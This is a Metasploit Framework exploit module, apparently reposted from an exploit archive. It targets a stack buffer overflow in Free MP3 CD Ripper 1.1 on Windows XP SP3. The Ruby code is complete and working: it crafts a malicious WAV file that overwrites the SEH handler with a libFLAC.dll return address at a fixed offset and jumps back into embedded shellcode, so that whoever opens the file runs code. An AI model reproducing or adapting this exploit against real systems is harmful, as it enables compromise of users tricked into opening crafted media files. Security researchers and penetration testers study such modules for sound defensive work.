Free MP3 CD Ripper 1.1 (WAV File) Stack Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Free MP3 CD Ripper 1.1 (WAV File) Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack based buffer overflow found in Free MP3 CD
                Ripper 1.1.  The overflow is triggered when an unsuspecting user opens a malicious
                WAV file.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Richard Leahy',    # Initial discovery
                    'X-h4ck',           # msf module is based on his poc
                    'Tiago Henriques',  # msf module
                    'James Fitts'       # clean ups
                ],
            'References'     =>
                [
                    [ 'OSVDG', '63349' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/11975' ], #Initial disclosure
                    [ 'URL', 'http://www.exploit-db.com/exploits/17727/' ] #This exploit is based on this poc
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'BadChars' => "\x00\x0a\x0d\x20",
                    'StackAdjustment' => -3500,
                    'DisableNops' => 'True',
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [
                        'Windows XP SP3 EN',
                        {
                            'Ret' => 0x1001860b, # p/p/r in libFLAC.dll
                            'Offset' => 4116
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Aug 27 2011',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',  'msf.wav']),
            ], self.class)
    end
 
    def exploit
 
        wav = Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 100
        wav << payload.encoded
        wav << rand_text_alpha_upper(target['Offset'] - (100 + payload.encoded.length))
        wav << generate_seh_record(target.ret)
        wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 4
        wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4050").encode_string
 
        print_status("Creating '#{datastore['FILENAME']}' file ...")
 
        file_create(wav)
 
    end
 
end



#  0day.today [2018-03-20]  #